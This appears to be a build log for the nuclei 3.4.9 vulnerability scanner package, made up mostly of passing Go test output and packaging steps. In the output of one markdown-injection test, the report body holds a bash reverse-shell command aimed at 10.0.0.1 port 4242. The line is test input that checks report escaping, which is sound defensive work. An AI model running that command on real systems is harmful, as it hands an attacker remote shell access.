=== RUN TestActionTextInput --- PASS: TestActionTextInput (1.58s) === RUN TestActionHeadersChange --- PASS: TestActionHeadersChange (1.51s) === RUN TestActionScreenshot [INF] Screenshot successfully saved at /tmp/test.png --- PASS: TestActionScreenshot (3.62s) === RUN TestActionScreenshotToDir [INF] Screenshot successfully saved at /tmp/screenshot-549/test.png --- PASS: TestActionScreenshotToDir (3.68s) === RUN TestActionTimeInput --- PASS: TestActionTimeInput (1.62s) === RUN TestActionSelectInput --- PASS: TestActionSelectInput (6.57s) === RUN TestActionFilesInput --- PASS: TestActionFilesInput (6.53s) === RUN TestActionFilesInputNegative --- PASS: TestActionFilesInputNegative (6.46s) === RUN TestActionWaitLoad --- PASS: TestActionWaitLoad (1.49s) === RUN TestActionGetResource --- PASS: TestActionGetResource (1.86s) === RUN TestActionExtract --- PASS: TestActionExtract (1.54s) === RUN TestActionSetMethod --- PASS: TestActionSetMethod (1.45s) === RUN TestActionAddHeader --- PASS: TestActionAddHeader (6.48s) === RUN TestActionDeleteHeader --- PASS: TestActionDeleteHeader (1.48s) === RUN TestActionSetBody --- PASS: TestActionSetBody (6.54s) === RUN TestActionKeyboard --- PASS: TestActionKeyboard (1.63s) === RUN TestActionSleep --- PASS: TestActionSleep (3.50s) === RUN TestActionWaitVisible === RUN TestActionWaitVisible/wait_for_an_element_being_visible === RUN TestActionWaitVisible/timeout_because_of_element_not_visible --- PASS: TestActionWaitVisible (4.98s) --- PASS: TestActionWaitVisible/wait_for_an_element_being_visible (2.54s) --- PASS: TestActionWaitVisible/timeout_because_of_element_not_visible (2.44s) === RUN TestActionWaitDialog === RUN TestActionWaitDialog/Triggered === RUN TestActionWaitDialog/Invalid --- PASS: TestActionWaitDialog (3.96s) --- PASS: TestActionWaitDialog/Triggered (1.46s) --- PASS: TestActionWaitDialog/Invalid (2.50s) === RUN TestContainsAnyModificationActionType --- PASS: TestContainsAnyModificationActionType (0.00s) === RUN TestBlockedHeadlessURLS --- PASS: TestBlockedHeadlessURLS (3.86s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine 105.021s === RUN TestMakeRequestFromModal --- PASS: TestMakeRequestFromModal (0.76s) === RUN TestMakeRequestFromModalTrimSuffixSlash --- PASS: TestMakeRequestFromModalTrimSuffixSlash (0.00s) === RUN TestMakeRequestFromRawWithPayloads --- PASS: TestMakeRequestFromRawWithPayloads (0.00s) === RUN TestMakeRequestFromRawPayloadExpressions --- PASS: TestMakeRequestFromRawPayloadExpressions (0.00s) === RUN TestMakeRequestFromModelUniqueInteractsh [INF] Using Interactsh Server: oast.fun --- PASS: TestMakeRequestFromModelUniqueInteractsh (0.97s) === RUN TestCanCluster --- PASS: TestCanCluster (0.00s) === RUN TestHTTPCompile --- PASS: TestHTTPCompile (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid === RUN TestHTTPOperatorMatch/caseInsensitive --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) --- PASS: TestHTTPOperatorMatch/caseInsensitive (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval === RUN TestHTTPOperatorExtract/json === RUN TestHTTPOperatorExtract/json/jq-simple === RUN TestHTTPOperatorExtract/json/jq-array === RUN TestHTTPOperatorExtract/json/jq-object === RUN TestHTTPOperatorExtract/caseInsensitive --- PASS: TestHTTPOperatorExtract (0.03s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) --- PASS: TestHTTPOperatorExtract/json (0.03s) --- PASS: TestHTTPOperatorExtract/json/jq-simple (0.01s) --- PASS: TestHTTPOperatorExtract/json/jq-array (0.01s) --- PASS: TestHTTPOperatorExtract/json/jq-object (0.01s) --- PASS: TestHTTPOperatorExtract/caseInsensitive (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestRequestParseAnnotationsSNI === RUN TestRequestParseAnnotationsSNI/compliant-SNI-value === RUN TestRequestParseAnnotationsSNI/non-compliant-SNI-value --- PASS: TestRequestParseAnnotationsSNI (0.00s) --- PASS: TestRequestParseAnnotationsSNI/compliant-SNI-value (0.00s) --- PASS: TestRequestParseAnnotationsSNI/non-compliant-SNI-value (0.00s) === RUN TestRequestParseAnnotationsTimeout === RUN TestRequestParseAnnotationsTimeout/positive === RUN TestRequestParseAnnotationsTimeout/negative --- PASS: TestRequestParseAnnotationsTimeout (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/positive (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/negative (0.00s) === RUN TestRequestGeneratorPaths --- PASS: TestRequestGeneratorPaths (0.00s) === RUN TestRequestGeneratorClusterBombSingle --- PASS: TestRequestGeneratorClusterBombSingle (0.00s) === RUN TestRequestGeneratorClusterBombMultipleRaw --- PASS: TestRequestGeneratorClusterBombMultipleRaw (0.00s) === RUN TestHTTPExtractMultipleReuse === RUN TestHTTPExtractMultipleReuse/test --- PASS: TestHTTPExtractMultipleReuse (0.02s) --- PASS: TestHTTPExtractMultipleReuse/test (0.01s) === RUN TestDisableTE === RUN TestDisableTE/test === RUN TestDisableTE/test2 --- PASS: TestDisableTE (0.01s) --- PASS: TestDisableTE/test (0.00s) --- PASS: TestDisableTE/test2 (0.00s) === RUN TestReqURLPattern === RUN TestReqURLPattern/test [INF] Using Interactsh Server: oast.fun --- PASS: TestReqURLPattern (6.64s) --- PASS: TestReqURLPattern/test (0.63s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http 9.966s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/race [no test files] === RUN TestParseRawRequestWithPort === RUN TestParseRawRequestWithPort/path-suffix === RUN TestParseRawRequestWithPort/query-values --- PASS: TestParseRawRequestWithPort (0.00s) --- PASS: TestParseRawRequestWithPort/path-suffix (0.00s) --- PASS: TestParseRawRequestWithPort/query-values (0.00s) === RUN TestParseRawRequest --- PASS: TestParseRawRequest (0.00s) === RUN TestParseUnsafeRequestWithPath --- PASS: TestParseUnsafeRequestWithPath (0.00s) === RUN TestTryFillCustomHeaders --- PASS: TestTryFillCustomHeaders (0.00s) === RUN TestDisableMergePath --- PASS: TestDisableMergePath (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/raw 1.351s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool [no test files] === RUN TestCompile --- PASS: TestCompile (0.64s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript 2.287s === RUN TestNetworkCompileMake === RUN TestNetworkCompileMake/check-tls-with-port --- PASS: TestNetworkCompileMake (0.60s) --- PASS: TestNetworkCompileMake/check-tls-with-port (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestNetworkOperatorMatch === RUN TestNetworkOperatorMatch/valid === RUN TestNetworkOperatorMatch/negative === RUN TestNetworkOperatorMatch/invalid === RUN TestNetworkOperatorMatch/caseInsensitive --- PASS: TestNetworkOperatorMatch (0.00s) --- PASS: TestNetworkOperatorMatch/valid (0.00s) --- PASS: TestNetworkOperatorMatch/negative (0.00s) --- PASS: TestNetworkOperatorMatch/invalid (0.00s) --- PASS: TestNetworkOperatorMatch/caseInsensitive (0.00s) === RUN TestNetworkOperatorExtract === RUN TestNetworkOperatorExtract/extract === RUN TestNetworkOperatorExtract/kval --- PASS: TestNetworkOperatorExtract (0.00s) --- PASS: TestNetworkOperatorExtract/extract (0.00s) --- PASS: TestNetworkOperatorExtract/kval (0.00s) === RUN TestNetworkMakeResult --- PASS: TestNetworkMakeResult (0.00s) === RUN TestNetworkExecuteWithResults === RUN TestNetworkExecuteWithResults/domain-valid === RUN TestNetworkExecuteWithResults/invalid-port-override === RUN TestNetworkExecuteWithResults/hex-to-string --- PASS: TestNetworkExecuteWithResults (0.01s) --- PASS: TestNetworkExecuteWithResults/domain-valid (0.00s) --- PASS: TestNetworkExecuteWithResults/invalid-port-override (0.00s) --- PASS: TestNetworkExecuteWithResults/hex-to-string (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/network 2.248s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool [no test files] === RUN TestFindResponses --- PASS: TestFindResponses (0.47s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval --- PASS: TestHTTPOperatorExtract (0.00s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestReadResponseFromString === RUN TestReadResponseFromString/response === RUN TestReadResponseFromString/response-http2-without-minor-version === RUN TestReadResponseFromString/response-http2-with-minor-version === RUN TestReadResponseFromString/request-response === RUN TestReadResponseFromString/request-response-without-minor-version === RUN TestReadResponseFromString/test-live-response-with-content-length --- PASS: TestReadResponseFromString (0.00s) --- PASS: TestReadResponseFromString/response (0.00s) --- PASS: TestReadResponseFromString/response-http2-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/response-http2-with-minor-version (0.00s) --- PASS: TestReadResponseFromString/request-response (0.00s) --- PASS: TestReadResponseFromString/request-response-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/test-live-response-with-content-length (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp 1.860s === RUN TestSSLProtocol --- PASS: TestSSLProtocol (0.88s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl 2.283s === RUN TestCalculateContentLength === RUN TestCalculateContentLength/content-length-header === RUN TestCalculateContentLength/content-length-header-with-body-length === RUN TestCalculateContentLength/no-content-length-header-with-body-length === RUN TestCalculateContentLength/content-length-header-without-body-length --- PASS: TestCalculateContentLength (0.00s) --- PASS: TestCalculateContentLength/content-length-header (0.00s) --- PASS: TestCalculateContentLength/content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/no-content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/content-length-header-without-body-length (0.00s) === RUN TestHTTPVariables --- PASS: TestHTTPVariables (0.00s) === RUN TestGenerateDNSVariables --- PASS: TestGenerateDNSVariables (0.00s) === RUN TestGenerateVariablesForDNS --- PASS: TestGenerateVariablesForDNS (0.00s) === RUN TestGenerateVariablesForTCP --- PASS: TestGenerateVariablesForTCP (0.00s) === RUN TestGenerateWhoISVariables --- PASS: TestGenerateWhoISVariables (0.00s) === RUN TestGetWebsocketVariables --- PASS: TestGetWebsocketVariables (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils 1.254s === RUN TestTrailingSlash --- PASS: TestTrailingSlash (0.00s) === RUN TestPortUpdate --- PASS: TestPortUpdate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http 1.259s ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting [no test files] === RUN TestDedupeDuplicates --- PASS: TestDedupeDuplicates (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe 1.303s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown [no test files] === RUN TestMarkDownHeaderCreation === RUN TestMarkDownHeaderCreation/#00 === RUN TestMarkDownHeaderCreation/#01 === RUN TestMarkDownHeaderCreation/one === RUN TestMarkDownHeaderCreation/one,two === RUN TestMarkDownHeaderCreation/one,two,three --- PASS: TestMarkDownHeaderCreation (0.00s) --- PASS: TestMarkDownHeaderCreation/#00 (0.00s) --- PASS: TestMarkDownHeaderCreation/#01 (0.00s) --- PASS: TestMarkDownHeaderCreation/one (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two,three (0.00s) === RUN TestCreateTemplateInfoTableTooManyColumns --- PASS: TestCreateTemplateInfoTableTooManyColumns (0.00s) === RUN TestCreateTemplateInfoTable1Column --- PASS: TestCreateTemplateInfoTable1Column (0.00s) === RUN TestCreateTemplateInfoTable2Columns --- PASS: TestCreateTemplateInfoTable2Columns (0.00s) === RUN TestCreateTemplateInfoTable3Columns --- PASS: TestCreateTemplateInfoTable3Columns (0.00s) === RUN TestEscapeCodeBlockMarkdown === RUN TestEscapeCodeBlockMarkdown/no_special_characters === RUN TestEscapeCodeBlockMarkdown/with_backticks === RUN TestEscapeCodeBlockMarkdown/with_backslashes === RUN TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes === RUN TestEscapeCodeBlockMarkdown/with_code_block === RUN TestEscapeCodeBlockMarkdown/with_escaped_backtick === RUN TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks --- PASS: TestEscapeCodeBlockMarkdown (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/no_special_characters (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backticks (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_code_block (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_escaped_backtick (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util 1.018s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk [no test files] === RUN TestToMarkdownTableString --- PASS: TestToMarkdownTableString (0.00s) === RUN TestCreateReportDescription_MarkdownInjection **Details**: **test-template** matched at example.com **Protocol**: HTTP **Full URL**: https://example.com/vulnerable **Timestamp**: Mon Jan 1 00:00:00 +0000 UTC 0001 **Template Information** | Key | Value | | --- | --- | | Name | Test Template | | Authors | researcher | | Tags | test | | Severity | high | **Request** ```http GET / HTTP/1.1 Host: example.com ``` **Response** ```http HTTP/1.1 200 OK Content-Type: text/html Hello, world \`\`\` References: - https://rce.ee/pwned **CURL command** \`\`\`sh bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 \`\`\` ``` **CURL command** ```sh curl -X GET https://example.com ``` ---- Generated by [Nuclei v3.4.9](https://github.com/projectdiscovery/nuclei) --- PASS: TestCreateReportDescription_MarkdownInjection (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/format 1.275s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab [no test files] === RUN TestLinkCreation --- PASS: TestLinkCreation (0.00s) === RUN TestHorizontalLineCreation --- PASS: TestHorizontalLineCreation (0.00s) === RUN TestTableCreation --- PASS: TestTableCreation (0.00s) === RUN Test_ShouldFilter_Tracker === RUN Test_ShouldFilter_Tracker/deny-list --- PASS: Test_ShouldFilter_Tracker (0.00s) --- PASS: Test_ShouldFilter_Tracker/deny-list (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira 1.250s ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear/jsonutil [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/charts [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/events [no test files] === RUN TestCache --- PASS: TestCache (0.00s) === RUN TestClusterTemplates === RUN TestClusterTemplates/http-cluster-get === RUN TestClusterTemplates/no-http-cluster === RUN TestClusterTemplates/dns-cluster --- PASS: TestClusterTemplates (0.00s) --- PASS: TestClusterTemplates/http-cluster-get (0.00s) --- PASS: TestClusterTemplates/no-http-cluster (0.00s) --- PASS: TestClusterTemplates/dns-cluster (0.00s) === RUN Test_appendAtSignToAuthors --- PASS: Test_appendAtSignToAuthors (0.00s) === RUN Test_appendAtSignToMissingAuthors --- PASS: Test_appendAtSignToMissingAuthors (0.00s) === RUN Test_appendAtSignToOneAuthor --- PASS: Test_appendAtSignToOneAuthor (0.00s) === RUN TestLoadTemplate === RUN TestLoadTemplate/valid === RUN TestLoadTemplate/emptyTemplate === RUN TestLoadTemplate/emptyNameWithInvalidID === RUN TestLoadTemplate/emptySeverity === RUN TestLoadTemplate/template-without-severity-with-correct-filter-id === RUN TestLoadTemplate/template-without-severity-with-diff-filter-id === RUN TestLoadTemplate/invalidTemplateID === RUN TestLoadTemplate/invalidTemplateID/regexp0 === RUN TestLoadTemplate/invalidTemplateID/regexp1 === RUN TestLoadTemplate/invalidTemplateID/regexp2 === RUN TestLoadTemplate/invalidTemplateID/regexp3 === RUN TestLoadTemplate/invalidTemplateID/regexp4 === RUN TestLoadTemplate/invalidTemplateID/regexp5 === RUN TestLoadTemplate/invalidTemplateID/regexp6 === RUN TestLoadTemplate/invalidTemplateID/regexp7 === RUN TestLoadTemplate/invalidTemplateID/regexp8 === RUN TestLoadTemplate/invalidTemplateID/regexp9 === RUN TestLoadTemplate/invalidTemplateID/regexp10 --- PASS: TestLoadTemplate (0.00s) --- PASS: TestLoadTemplate/valid (0.00s) --- PASS: TestLoadTemplate/emptyTemplate (0.00s) --- PASS: TestLoadTemplate/emptyNameWithInvalidID (0.00s) --- PASS: TestLoadTemplate/emptySeverity (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-correct-filter-id (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-diff-filter-id (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp0 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp1 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp2 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp3 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp4 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp5 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp6 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp7 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp8 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp9 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp10 (0.00s) === RUN TestTagBasedFilter === RUN TestTagBasedFilter/true === RUN TestTagBasedFilter/false === RUN TestTagBasedFilter/match-extra-tags-positive === RUN TestTagBasedFilter/match-extra-tags-negative === RUN TestTagBasedFilter/not-match-excludes === RUN TestTagBasedFilter/match-includes === RUN TestTagBasedFilter/match-includes#01 === RUN TestTagBasedFilter/match-author === RUN TestTagBasedFilter/match-severity === RUN TestTagBasedFilter/match-id === RUN TestTagBasedFilter/match-exclude-severity === RUN TestTagBasedFilter/match-exclude-with-tags === RUN TestTagBasedFilter/match-conditions === RUN TestTagBasedFilter/match-type === RUN TestTagBasedFilter/match-exclude-id === RUN TestTagBasedFilter/match-exclude-type === RUN TestTagBasedFilter/advanced-filtering-positive === RUN TestTagBasedFilter/advanced-filtering-negative === RUN TestTagBasedFilter/template-condition --- PASS: TestTagBasedFilter (0.01s) --- PASS: TestTagBasedFilter/true (0.00s) --- PASS: TestTagBasedFilter/false (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-positive (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-negative (0.00s) --- PASS: TestTagBasedFilter/not-match-excludes (0.00s) --- PASS: TestTagBasedFilter/match-includes (0.00s) --- PASS: TestTagBasedFilter/match-includes#01 (0.00s) --- PASS: TestTagBasedFilter/match-author (0.00s) --- PASS: TestTagBasedFilter/match-severity (0.00s) --- PASS: TestTagBasedFilter/match-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-severity (0.00s) --- PASS: TestTagBasedFilter/match-exclude-with-tags (0.00s) --- PASS: TestTagBasedFilter/match-conditions (0.00s) --- PASS: TestTagBasedFilter/match-type (0.00s) --- PASS: TestTagBasedFilter/match-exclude-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-type (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-positive (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-negative (0.00s) --- PASS: TestTagBasedFilter/template-condition (0.00s) === RUN TestTemplateStruct --- PASS: TestTemplateStruct (2.86s) === RUN Test_ParseFromURL --- PASS: Test_ParseFromURL (0.41s) === RUN Test_ParseFromFile --- PASS: Test_ParseFromFile (0.00s) === RUN Test_ParseWorkflow --- PASS: Test_ParseWorkflow (0.00s) === RUN Test_WrongTemplate --- PASS: Test_WrongTemplate (0.00s) === RUN TestWrongWorkflow --- PASS: TestWrongWorkflow (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates 4.724s ? github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions [no test files] === RUN TestKeyHandler --- PASS: TestKeyHandler (1.12s) === RUN TestTemplateSignerSignAndVerify === RUN TestTemplateSignerSignAndVerify/Simple_template === RUN TestTemplateSignerSignAndVerify/Template_with_imports === RUN TestTemplateSignerSignAndVerify/Template_with_code_protocol === RUN TestTemplateSignerSignAndVerify/Tampered_template === RUN TestTemplateSignerSignAndVerify/Invalid_signature --- PASS: TestTemplateSignerSignAndVerify (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Simple_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_imports (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_code_protocol (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Tampered_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Invalid_signature (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates/signer 2.235s ? github.com/projectdiscovery/nuclei/v3/pkg/templates/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/testheadless [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec [no test files] === RUN TestFlowTemplateWithIndex --- PASS: TestFlowTemplateWithIndex (0.52s) === RUN TestFlowTemplateWithID --- PASS: TestFlowTemplateWithID (0.05s) === RUN TestFlowWithProtoPrefix --- PASS: TestFlowWithProtoPrefix (0.04s) === RUN TestFlowWithConditionNegative --- PASS: TestFlowWithConditionNegative (0.09s) === RUN TestFlowWithConditionPositive --- PASS: TestFlowWithConditionPositive (0.10s) === RUN TestFlowWithNoMatchers === RUN TestFlowWithNoMatchers/Contains_Extractor --- PASS: TestFlowWithNoMatchers (0.75s) --- PASS: TestFlowWithNoMatchers/Contains_Extractor (0.60s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow 2.956s ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic [no test files] === RUN TestMultiProtoWithDynamicExtractor --- PASS: TestMultiProtoWithDynamicExtractor (0.41s) === RUN TestMultiProtoWithProtoPrefix --- PASS: TestMultiProtoWithProtoPrefix (0.66s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto 2.921s ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy [no test files] === RUN TestUnmarshalInsertionOrderedMapYAML --- PASS: TestUnmarshalInsertionOrderedMapYAML (0.00s) === RUN TestUnwrapError --- PASS: TestUnwrapError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils 1.257s ? github.com/projectdiscovery/nuclei/v3/pkg/utils/expand [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/json [no test files] === RUN TestMonitorCompareStringSliceEqual --- PASS: TestMonitorCompareStringSliceEqual (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor 1.022s ? github.com/projectdiscovery/nuclei/v3/pkg/utils/stats [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml [no test files] === RUN TestWorkflowMatchAndCompile === RUN TestWorkflowMatchAndCompile/name === RUN TestWorkflowMatchAndCompile/name-negative === RUN TestWorkflowMatchAndCompile/names-or === RUN TestWorkflowMatchAndCompile/names-and --- PASS: TestWorkflowMatchAndCompile (0.00s) --- PASS: TestWorkflowMatchAndCompile/name (0.00s) --- PASS: TestWorkflowMatchAndCompile/name-negative (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-or (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-and (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/workflows 1.378s >>> nuclei: Entering fakeroot... >>> nuclei-doc*: Running split function doc... 'usr/share/licenses' -> '/home/buildozer/aports/testing/nuclei/pkg/nuclei-doc/usr/share/licenses' >>> nuclei-doc*: Preparing subpackage nuclei-doc... >>> nuclei-doc*: Running postcheck for nuclei-doc >>> nuclei*: Running postcheck for nuclei >>> nuclei*: Preparing package nuclei... >>> nuclei*: Stripping binaries >>> nuclei-doc*: Scanning shared objects >>> nuclei*: Scanning shared objects >>> nuclei-doc*: Tracing dependencies... >>> nuclei-doc*: Package size: 1.1 KB >>> nuclei-doc*: Compressing data... >>> nuclei-doc*: Create checksum... >>> nuclei-doc*: Create nuclei-doc-3.4.9-r0.apk >>> nuclei*: Tracing dependencies... >>> nuclei*: Package size: 94.2 MB >>> nuclei*: Compressing data... >>> nuclei*: Create checksum... >>> nuclei*: Create nuclei-3.4.9-r0.apk >>> nuclei: Build complete at Fri, 22 Aug 2025 17:50:23 +0000 elapsed time 0h 3m 43s >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Uninstalling dependencies... ( 1/162) Purging .makedepends-nuclei (20250822.174641) ( 2/162) Purging go (1.25.0-r0) ( 3/162) Purging chromium (139.0.7258.127-r0) ( 4/162) Purging chromium-common (139.0.7258.127-r0) ( 5/162) Purging chromium-angle (139.0.7258.127-r0) ( 6/162) Purging font-opensans (0_git20210927-r1) ( 7/162) Purging mkfontscale (1.2.3-r1) ( 8/162) Purging gtk+3.0 (3.24.50-r0) gtk+3.0-3.24.50-r0.post-deinstall: Executing script... ( 9/162) Purging gobject-introspection (1.84.0-r1) ( 10/162) Purging gtk-update-icon-cache (3.24.50-r0) ( 11/162) Purging hicolor-icon-theme (0.18-r0) ( 12/162) Purging icu-data-full (76.1-r1) ( 13/162) Purging mesa-dri-gallium (25.2.1-r0) ( 14/162) Purging xdg-utils (1.2.1-r1) ( 15/162) Purging xprop (1.2.8-r0) ( 16/162) Purging xset (1.2.5-r1) ( 17/162) Purging at-spi2-core (2.56.4-r1) ( 18/162) Purging cairo-gobject (1.18.4-r0) ( 19/162) Purging crc32c (1.1.2-r2) ( 20/162) Purging cups-libs (2.4.12-r0) ( 21/162) Purging double-conversion (3.3.1-r0) ( 22/162) Purging ffmpeg-libavformat (6.1.2-r5) ( 23/162) Purging gdk-pixbuf (2.42.12-r2) gdk-pixbuf-2.42.12-r2.pre-deinstall: Executing script... ( 24/162) Purging shared-mime-info (2.4-r6) shared-mime-info-2.4-r6.post-deinstall: Executing script... ( 25/162) Purging harfbuzz-subset (11.3.2-r0) ( 26/162) Purging libatk-bridge-2.0 (2.56.4-r1) ( 27/162) Purging libbluray (1.3.4-r1) ( 28/162) Purging libepoxy (1.5.10-r1) ( 29/162) Purging libfontenc (1.1.8-r0) ( 30/162) Purging libopenmpt (0.8.2-r0) ( 31/162) Purging libpulse (17.0-r5) ( 32/162) Purging librist (0.2.10-r1) ( 33/162) Purging libsrt (1.5.3-r1) ( 34/162) Purging libssh (0.11.2-r0) 